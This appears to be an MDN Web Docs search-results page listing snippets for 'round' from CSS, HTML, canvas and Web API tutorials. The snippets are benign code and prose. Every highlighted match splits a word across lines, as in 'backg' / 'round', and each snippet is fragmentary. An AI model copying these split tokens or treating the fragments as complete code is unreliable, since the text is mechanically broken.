round = daemon.builda
round; /* warning: this method requires the global daemon.incorporate() method */ daemon.safe.incorporate = daemon.incorporate; /* system required daemon.safe instances methods */ daemon.safe.prototype.synchronize = function () { if (this.paused) { return; } cleartimeout(this.session); this.session = settimeout(daemon.sa...
...And 16 more matches
Advanced styling effects - Learn web development
first, some html: <article class="simple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> now the css: p { margin: 0; } article { max-width: 500px; padding: 10px; backg
round-color: red; backg
round-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .simple { box-shadow: 5px 5px 5px rgba(0,0,0,0.7); } this gives us the following result: you'll see that we've got four items in the box-shadow property value: the first length value is the horizontal offset — the distance to the right the shadow is offset from the original box (or left, if ...
... multiple box shadows you can also specify multiple box shadows in a single box-shadow declaration, by separating them with commas: <article class="multiple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> p { margin: 0; } article { max-width: 500px; padding: 10px; backg
round-color: red; backg
round-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .multiple { box-shadow: 1px 1px 1px black, 2px 2px 1px black, 3px 3px 1px red, 4px 4px 1px red, 5px 5px 1px black, 6px 6px 1px black; } now we get this result: we've done something fun here by creating a raised box with multipl...
... first, we'll go with some different html for this example: <button>press me!</button> button { width: 150px; font-size: 1.1rem; line-height: 2; border-radius: 10px; border: none; backg
round-image: linear-gradient(to bottom right, #777, #ddd); box-shadow: 1px 1px 1px black, inset 2px 3px 5px rgba(0,0,0,0.3), inset -2px -3px 5px rgba(255,255,255,0.5); } button:focus, button:hover { backg
round-image: linear-gradient(to bottom right, #888, #eee); } button:active { box-shadow: inset 2px 2px 1px black, inset 2px 3px 5px rgba(0,0,0,0.3), ...
...And 15 more matches
create fancy boxes - Learn web development
on the technical side, creating fancy boxes are all about mastering css border and backg
round properties and how to apply them to a given box.
... its backg
round properties: backg
round, backg
round-color, backg
round-image, backg
round-position, backg
round-size, etc.
... so we have a very large playg
round.
...And 14 more matches
How CSS is structured - Learn web development
you reference an external css stylesheet from an html <link> element: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> the css stylesheet file might look like this: h1 { color: blue; backg
round-color: yellow; border: 1px solid black; } p { color: red; } the href attribute of the <link> element needs to reference a file on your file system.
... the html for an internal stylesheet might look like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <style> h1 { color: blue; backg
round-color: yellow; border: 1px solid black; } p { color: red; } </style> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> in some circumstances, internal stylesheets can be useful.
...the implementation of an inline style in an html document might look like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> </head> <body> <h1 style="color: blue;backg
round-color: yellow;border: 1px solid black;">hello world!</h1> <p style="color:red;">this is my first css example</p> </body> </html> avoid using css in this way when possible.
...And 13 more matches
Applying styles and colors - Web APIs
a globalalpha example in this example, we'll draw a backg
round of four different colored squares.
...by increasing the step count and in effect drawing more circles, the backg
round would completely disappear from the center of the image.
... function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); // draw backg
round ctx.fillstyle = '#fd0'; ctx.fillrect(0, 0, 75, 75); ctx.fillstyle = '#6c0'; ctx.fillrect(75, 0, 75, 75); ctx.fillstyle = '#09f'; ctx.fillrect(0, 75, 75, 75); ctx.fillstyle = '#f30'; ctx.fillrect(75, 75, 75, 75); ctx.fillstyle = '#fff'; // set transparency value ctx.globalalpha = 0.2; // draw semi transparent circles for (var i = 0; i < 7; i++) { ctx.beginpath(); ctx.arc(75, 75, 10 + 10 * i, 0, math.pi * 2, true); ctx.fill(); } } <canvas id="canvas" width="150" height="150"></canvas> draw(); screenshotlive sample an example using rgba() in this second example, we do something similar to the one above, but instead of drawing circles on top of ea...
...And 13 more matches
Fundamentals of WebXR - Web APIs
a human eye is typically able to take in a fov of a
round 135°.
...that overlap is what gives us depth perception; within the overlap area — which is a
round 115° across — we have depth perception.
... field of view and mixed reality devices to achieve a wide enough field of view that the user's eyes are tricked into believing that the virtual world completely sur
rounds them, the fov needs to at least approach the width of the binocular vision area.
...And 13 more matches
Border-radius generator - CSS: Cascading Style Sheets
150" data-max="700" data-sensivity="1"></div> <div class="ui-input-slider" data-topic="height" data-info="height" data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div> </div> <div id="output"></div> </div> <div class="group section"> <div id="radius-lock"> <div class="info">
rounded corner </div> <div class="ui-checkbox" data-topic='top-left'></div> <div class="ui-checkbox" data-topic='top-right'></div> <div class="ui-checkbox" data-topic='bottom-right'></div> <div class="ui-checkbox" data-topic='bottom-left'></div> </div> <div id="unit-selection"> <div class="info"> se...
... input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; backg
round: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { backg
round: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; backg
round-color: #2c9fc9; border-rad...
...ius: 5px; color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover { backg
round-color: #379b4a; cursor: pointer; } /* * ui component */ /* checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; backg
round-color: #888; backg
round-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); backg
round-position: center center; backg
round-repeat: no-repeat; color: #fff; border-ra...
...And 13 more matches
image() - CSS: Cascading Style Sheets
coloroptional a color, specifying a solid backg
round color to use as a fallback if no image-src is found, supported, or declared.
...the syntax looks like so: backg
round-image: image('myimage.webp#xywh=0,20,40,60'); the backg
round image of the element will be the portion of the image myimage.webp that starts at the coordinate 0px, 20px (the top left hand corner) and is 40px wide and 60px tall.
...as a use case, consider a dark image being used as a backg
round for some white text.
...And 13 more matches
Examples - Archive of obsolete content
a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - comments in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <style type="text/css"> <!-- body {backg
round-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> </head> <body> <h1>problem 2 - comments in xhtml</h1> <p> this document is valid xhtml 1.0 strict served as <code>application/xhtml+xml</code>.
... </p> <p> this document contains inline css rules contained in a <code>style</code> element and sur
rounded by a comment and javascript contained in a <code>script</code> element and sur
rounded by a comment.
.../w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>example 1 - xhtml 1.0 strict as text/html</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <style type="text/css"> <!-- body { padding-top: 8em; } html { color: #fff; backg
round: #000 no-repeat fixed;} p {width: 30em; font-weight: bold;} --> </style> </head> <body> <h1>example 1 - xhtml 1.0 strict as text/html</h1> <p> this document is valid xhtml 1.0 strict served as <code>text/html</code>.
...And 12 more matches
Introduction to CSS layout - Learn web development
css page layout techniques allow us to take elements contained in a web page and control where they are positioned relative to their default position in normal layout flow, the other elements a
round them, their parent container, or the main viewport/window.
... floats — applying a float value such as left can cause block level elements to wrap alongside one side of an element, like the way images sometimes have text floating a
round them in magazine layouts.
...if you create a link a
round some text inside a paragraph, that link remains inline with the rest of the text, and doesn’t break onto a new line.
...And 12 more matches
Geometry and reference spaces in WebXR - Web APIs
the article spatial tracking in webxr builds upon the information provided here to cover how the physical position and orientation of the user's head, as well as potentially other parts of their body such as the hands, are mapped into the digital world, as well as how the relative positions of both physical and virtual objects are tracked as they move a
round, so that the scene can be properly rendered and composited.
... rotation is the application of a matrix that rotates a point a
round the origin of the object's coordinate system.
... in augmented reality (ar), this is because of the need to insert virtual objects into the real world, not only placing them correctly but also ensuring that they don't seem to wander a
round on their own as the user's perspective shifts.
...And 12 more matches
filter - CSS: Cascading Style Sheets
filters are commonly used to adjust the rendering of images, backg
rounds, and borders.
...:100%; overflow:hidden; } #img2 { width:100%; height:auto; -webkit-filter:blur(5px); -ms-filter:blur(5px); filter:blur(5px); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0; margin: 0 0 1.286em; height: 100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; backg
round: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight: bold; } table.standard-table td { padding: 5px; border: 1px solid rgb(204, 204, 204); text-align: left; vertical-align: top; width:25%; height:auto; } #img3 { height:100%; } <svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"> <filter id="svgblur" x="-5%" y="-5%" width...
...0%; height:auto; -moz-filter:brightness(2); -webkit-filter:brightness(2); -ms-filter:brightness(2); filter:brightness(2); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0px; margin: 0px 0px 1.286em; height:100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; backg
round: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight: bold; } table.standard-table td { padding: 5px; border: 1px solid rgb(204, 204, 204); text-align: left; vertical-align: top; width:25%; height:auto; } #img3 { height:100%; } contrast() the contrast() function adjusts the contrast of the input image.
...And 12 more matches
Web audio codec guide - Web media technologies
noise / hiss unwanted backg
round noise or hiss tends to reduce audio quality both directly (by masking details of the foreg
round audio) and indirectly (by making the audio waveform more complicated and therefore difficult to reduce in size while maintaining precision).
... hiss, static, or backg
round noise increases the audio complexity, which generally reduces the amount of compression which is possible.
...5.1 sur
round sound has five audio channels, plus one low frequency enhancement (lfe) channel.
...And 12 more matches
element() - CSS: Cascading Style Sheets
a particularly useful scenario for using this would be to render an image in an html <canvas> element, then use that as a backg
round.
... on gecko browsers, you can use the non-standard document.mozsetimageelement() method to change the element being used as the backg
round for a given css backg
round element.
... syntax element(id) where: id the id of an element to use as the backg
round, specified using the html attribute #id on the element.
...And 11 more matches
WebGL model view projection - Web APIs
these composed matrices ultimately move the original model data a
round into a special coordinate space called clip space.
... the first matrix discussed below is the model matrix, which defines how you take your original model data and move it a
round in 3d world space.
...these matrices are core to moving data a
round on the screen, and are concepts that transcend individual frameworks and engines.
...And 10 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
bgcolorobsolete since html5 a domstring specifying a color to apply to the backg
rounds of each of the row's cells.
...omitting the attribute or setting it to null in javascript causes the row's cells to inherit the row's parent element's backg
round color.
...to give a similar effect as the bgcolor attribute, use the css property backg
round-color.
...And 10 more matches
CSS values and units - Learn web development
in css specifications and on the property pages here on mdn you will be able to spot values as they will be sur
rounded by angle brackets, such as <color> or <length>.
... in the following example we have set the color of our heading using a keyword, and the backg
round using the rgb() function: h1 { color: black; backg
round-color: rgb(197,93,161); } a value in css is a way to define a collection of allowable sub-values.
... note: when you use a number in css as a value it should not be sur
rounded in quotes.
...And 9 more matches
Positioning - Learn web development
</p> now add the following rule to the bottom of your css: .positioned { position: static; backg
round: yellow; } if you now save and refresh, you'll see no difference at all, except for the updated backg
round color of the 2nd paragraph.
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { backg
round: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { backg
round: red; border: 1px solid black; } .positioned { position: relative; backg
round: yellow; top: 30px; left: 30px; } cool, huh?
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { backg
round: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { backg
round: red; border: 1px solid black; } .positioned { position: absolute; backg
round: yellow; top: 30px; left: 30px; } first of all, note that the gap where the positioned element should be in the document flow is no longer there — the first and third elements have closed together like it no longer ...
...And 9 more matches
Advanced form styling - Learn web development
interestingly, setting border/backg
round on the search field also fixes this problem, as it disables or "breaks" the aqua appearance too.
... for example, consider this simple test case: <span><input type="checkbox"></span> span { display: inline-block; backg
round: red; } input[type="checkbox"] { width: 100px; height: 100px; } different browsers handle this in many different, often ugly ways: browser rendering firefox 71 (macos) firefox 57 (windows 10) chrome 77 (macos), safari 13, opera chrome 63 (windows 10) internet explorer 11 (windows 10) edge 16 (wind...
...rast mode can override */ color: green; } input[type="checkbox"]::before { content: "✔"; position: absolute; font-size: 1.2em; right: -1px; top: -0.3em; visibility: hidden; } input[type="checkbox"]:checked::before { /* use `visibility` instead of `display` to avoid recalculating layout */ visibility: visible; } input[type="checkbox"]:disabled { border-color: black; backg
round: #ddd; color: gray; } you'll find more out about such pseudo-classes and more in the next article; the above ones do the following: :checked — the checkbox (or radio button) is in a checked state — the user has clicked/activated it.
...And 9 more matches
Images in HTML - Learn web development
in this article we'll look at how to use it in depth, including the basics, annotating it with captions using <figure>, and detailing how it relates to css backg
round images.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html.) objective: to learn how to embed simple images in html, annotate them with captions, and how html images relate to css backg
round images.
...you should use css backg
round images for decorative images, but if you must use html, add a blank alt="".
...And 9 more matches
Introduction to events - Learn web development
in this article, we discuss some important concepts sur
rounding events, and look at how they work in browsers.
...in the following example, we have a single <button>, which when pressed, makes the backg
round change to a random color: <button>change color</button> button { margin: 10px }; the javascript looks like so: const btn = document.queryselector('button'); function random(number) { return math.floor(math.random() * (number+1)); } btn.onclick = function() { const rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backg
roundcolor = rndco...
...we are listening for the click event firing, by setting the onclick event handler property to equal an anonymous function containing code that generates a random rgb color and sets the <body> backg
round-color equal to it.
...And 9 more matches
Aprender y obtener ayuda - Learn web development
diffuse learning is more to do with high-level thinking a
round a wider area.
...this is the opposite of focus — you let your brain wander a
round the wider landscape, searching a
round for connections you didn't have before, touching on new things (or new combinations of things) that you can then focus on later, to strengthen them and start to really understand what they mean.
...some of the articles will be tutorials, to teach you a certain technique or important concept (such as "learn how to create a video player" or "learn the css box model"), and some of the articles will be reference material, to allow you to look up details you may have forgotten (such as "what is the syntax of the css backg
round property"?) mdn web docs is very good for both types — the area you are currently in is great for learning techniques and concepts, and we also have several giant reference sections allowing you to look up any syntax you can't remember.
...And 9 more matches
Timing element visibility with the Intersection Observer API - Web APIs
the basics we provide styles for the <body> and <main> elements to define the site's backg
round as well as the grid the various parts of the site will be placed in.
... body { font-family: "open sans", "arial", "helvetica", sans-serif; backg
round-color: aliceblue; } .wrapper { display: grid; grid-template-columns: auto minmax(min-content, 1fr); grid-template-rows: auto minmax(min-content, 1fr); max-width: 700px; margin: 0 auto; backg
round-color: aliceblue; } the site's <body> is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the backg
round color.
...its style looks like this: header { grid-column: 1 / -1; grid-row: 1; backg
round-color: aliceblue; } grid-row is set to 1, since we want the header to be placed in the top row of the site's grid.
...And 9 more matches
Basic concepts behind Web Audio API - Web APIs
it won't turn you into a master sound engineer, but it will give you enough backg
round to understand why the web audio api works like it does.
...the channels are usually represented by standard abbreviations detailed in the table below: mono 0: m: mono stereo 0: l: left 1: r: right quad 0: l: left 1: r: right 2: sl: sur
round left 3: sr: sur
round right 5.1 0: l: left 1: r: right 2: c: center 3: lfe: subwoofer 4: sl: sur
round left 5: sr: sur
round right up-mixing and down-mixing when the number of channels doesn't match between an input and an output, up- or down-mixing happens according the following rules.
... the m input channel is used for non-sur
round output channels (l and r).
...And 9 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
i can use the align-items property on the grid container, to align the items using one of the following values: auto normal start end center stretch baseline first baseline last baseline * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; align-it...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; } .item1 {...
...the first item in the example demonstrates this default alignment: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; } .item1 {...
...And 9 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { width: 500px; display: flex; flex-wrap: wrap; } .wrapper > div { flex: 1 1 150px; } in the image, yo...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); } a simple question to ask yourself when deciding ...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> </div> .wrapper { display: flex; align-items: flex-end; min-height: 200px; } .box1 { align-self: stretch; } .box2 { al...
...And 9 more matches
Overview of CSS Shapes - CSS: Cascading Style Sheets
you could for example float an item left, which would cause the text to wrap
round the right and bottom of the item in a rectangular fashion.
... if you then apply a circle shape, the text would then wrap
round the line of the circle.
... shape-margin — sets a margin a
round the defined shape defining basic shapes the shape-outside property allows us to a define a shape.
...And 9 more matches
conic-gradient() - CSS: Cascading Style Sheets
the conic-gradient() css function creates an image consisting of a gradient with color transitions rotated a
round a center point (rather than radiating from the center).
... syntax /* a conic gradient rotated 45 degrees, starting blue and finishing red */ conic-gradient(from 45deg, blue, red); /* a a bluish purple box: the gradient goes from blue to red, but as only the bottom right quadrant is visible, as the center of the conic gradient is in at the top left corner */ conic-gradient(from 90deg at 0 0, blue, red); /* colorwheel */ backg
round: conic-gradient( hsl(360, 100%, 50%), hsl(315, 100%, 50%), hsl(270, 100%, 50%), hsl(225, 100%, 50%), hsl(180, 100%, 50%), hsl(135, 100%, 50%), hsl(90, 100%, 50%), hsl(45, 100%, 50%), hsl(0, 100%, 50%) ); values <angle> preceded by the from keyterm, and taking an angle as its value, defines the gradient rotation in clockwise direction.
... <position> using the same length, order and keyterm values as the backg
round-position property, the position defines center of the gradient.
...And 9 more matches
CSS3 - Archive of obsolete content
it brings a lot of long-awaited novelties, like
rounded corners, shadows, gradients, transitions or animations, as well as new layouts like multi-columns, flexible box or grid layouts.
...some modules, like selectors 4 or css borders and backg
rounds level 4 already have an editor's draft, though they haven't yet reached the first published working draft status.
... css backg
rounds and borders module level 3 candidate recommendation adds: support, on backg
rounds, for any type of <image>, and not only for uri() defined ones.
...And 8 more matches
Index - Archive of obsolete content
16 alternatingbackg
round xul attributes, xul reference no summary!
... 420 wrapa
round xul attributes, xul reference no summary!
...it will have a titlebar which the user may use to move the panel a
round on the screen.
...And 8 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
4 alpn alpn, draft, glossary, needscontent, tls application-layer protocol negotiation (alpn) is a tls extension which indicates what application layer protocol is negotiating the encryped connection without requiring additional
round trips.
...to represent a color through which the backg
round can be seen to some extent, a fourth channel is added to the color: the alpha channel.
... 178 graceful degradation design, glossary, graceful degradation graceful degradation is a design philosophy that centers a
round trying to build a modern web site/application that will work in the newest browsers, but falls back to an experience that while not as good still delivers essential content and functionality in older browsers.
...And 8 more matches
The box model - Learn web development
previous overview: building blocks next everything in css has a box a
round it, and understanding these boxes is key to being able to create layouts with css, or to align items with other items.
... we also have a <ul> element which is set to display: inline-flex, creating an inline box a
round some flex items.
... padding box: the padding sits a
round the content as white space; its size can be controlled using padding and related properties.
...And 8 more matches
Grids - Learn web development
they help us to create designs where elements don’t jump a
round or change width as we move from page to page, providing greater consistency on our websites.
... simple grid example body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container > div { border-radius: 5px; padding: 10px; backg
round-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> .container { display: grid; grid-template-columns: 200px 200px 200px; } flexible grids with the fr unit in addition to creating grids using lengths and percentage...
... simple grid example with fr units body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container { display: grid; grid-template-columns: 2fr 1fr 1fr; } .container > div { border-radius: 5px; padding: 10px; backg
round-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> note: the fr unit distributes available space, not all space.
...And 8 more matches
Styling links - Learn web development
focused links have an outline a
round them — you should be able to focus on the links on this page with the keyboard by pressing the tab key (on mac, you'll need to use option + tab, or enable the full keyboard access: all controls option by pressing ctrl + f7.) active links are red (try holding down the mouse button on the link as you click it.) interestingly enough, these default styles are nearly the same as they were back in...
... outline for the text outline (an outline is similar to a border, the only difference being that border takes up space in the box and an outline doesn't; it just sits over the top of the backg
round).
... now let's add some more information to get this styled properly: body { width: 300px; margin: 0 auto; font-size: 1.2rem; font-family: sans-serif; } p { line-height: 1.4; } a { outline: none; text-decoration: none; padding: 2px 1px 0; } a:link { color: #265301; } a:visited { color: #437a16; } a:focus { border-bottom: 1px solid; backg
round: #bae498; } a:hover { border-bottom: 1px solid; backg
round: #cdfeaa; } a:active { backg
round: #265301; color: #cdfeaa; } we'll also provide some sample html to apply the css to: <p>there are several browsers available, such as <a href="#">mozilla firefox</a>, <a href="#">google chrome</a>, and <a href="#">microsoft edge</a>.</p> putting the two together gives us this result: so wh...
...And 8 more matches
CSS basics - Learn web development
how do i decorate my webpage with backg
round images and colors?
...each box taking up space on your page has properties like: padding, the space a
round the content.
... in the example below, it is the space a
round the paragraph text.
...And 8 more matches
HTML text fundamentals - Learn web development
my legs are made of cardboard and i am married to a fish.</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; backg
round: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code...
... semantics are relied on everywhere a
round us—we rely on previous experience to tell us what the function of an everyday object is; when we see something, we know what its function will be.
...in this context the <h1> element is also a semantic element, which gives the text it wraps a
round the role (or meaning) of "a top level heading on your page." <h1>this is a top level heading</h1> by default, the browser will give it a large font size to make it look like a heading (although you could style it to look like anything you wanted using css).
...And 8 more matches
nsIHTMLEditor
on aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astring atagname); void decreasefontsize(); void dodrag(in nsidomevent aevent); void getalignment(out boolean amixed, out short aalign); astring getbackg
roundcolorstate(out boolean amixed); nsidomelement getelementorparentbytagname(in astring atagname, in nsidomnode anode); astring getfontcolorstate(out boolean amixed); astring getfontfacestate(out boolean amixed); astring getheadcontentsashtml(); astring gethighlightcolorstate(out boolean amixed); void getindentstate(out boolean acanindent, out boo...
...olean adeleteselection); void insertfromdrop(in nsidomevent aevent); void inserthtml(in astring ainputstring); void inserthtmlwithcontext(in astring ainputstring, in astring acontextstr, in astring ainfostr, in astring aflavor, in nsidomdocument asourcedoc, in nsidomnode adestinationnode, in long adestinationoffset, in boolean adeleteselection); void insertlinka
roundselection(in nsidomelement aanchorelement); boolean isanonymouselement(in nsidomelement aelement); void makeorchangelist(in astring alisttype, in boolean entirelist, in astring abullettype); boolean nodeisblock(in nsidomnode node); void pastenoformatting(in long aselectiontype); void rebuilddocumentfromsource(in astring asourcestring); void rem...
...property, in astring aattribute, in astring avalue); void removeinlineproperty(in nsiatom aproperty, in astring aattribute); void removeinsertionlistener(in nsicontentfilter infilter); void removelist(in astring alisttype); void replaceheadcontentswithhtml(in astring asourcetoinsert); void selectelement(in nsidomelement aelement); void setbackg
roundcolor(in astring acolor); void setbodyattribute(in astring aattr, in astring avalue); void setcaretafterelement(in nsidomelement aelement); void setcssinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void setdocumenttitle(in astring atitle); void setinlineproperty(in nsiatom aproperty, in astring aattribute, in astring ava...
...And 8 more matches
Page Visibility API - Web APIs
with tabbed browsing, there is a reasonable chance that any given webpage is in the backg
round and thus not visible to the user.
...for example, if your web app is playing a video, it can pause the video when the user puts the tab into the backg
round, and resume playback when the user returns to the tab.
... the user doesn't lose their place in the video, the video's soundtrack doesn't interfere with audio in the new foreg
round tab, and the user doesn't miss any of the video in the meantime.
...And 8 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> default rules for au...
...to cause all created rows to be 100 pixels tall for example you would use: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto-rows:...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four <br>this cell <br>has extra <br>content.
...And 8 more matches
repeating-conic-gradient() - CSS: Cascading Style Sheets
the repeating-conic-gradient() css function creates an image consisting of a repeating gradient (rather than a single gradient) with color transitions rotated a
round a center point (rather than radiating from the center).
... syntax /* starburst: a a blue on blue starburst: the gradient is a starburst of lighter and darker blue, centered in the upper left quandrant, offset by 3degrees so there is no up/down straight line */ backg
round: repeating-conic-gradient( from 3deg at 25% 25%, hsl(200, 100%, 50%) 0deg 15deg, hsl(200, 100%, 60%) 10deg 30deg); ); values <angle> preceded by the from keyterm, and taking an angle as its value, defines the gradient rotation in clockwise direction.
... <position> using the same length, order and keyterm values as the backg
round-position property, the position defines center of the gradient.
...And 8 more matches
Video player styling basics - Developer guides
basic styling the html video and its controls are all contained within a <figure> element, which is given a maximum width and height (based on the dimensions of the video used) and centered within the page: figure { max-width:64rem; width:100%; max-height:30.875rem; height:100%; margin:1.25rem auto; padding:1.051%; backg
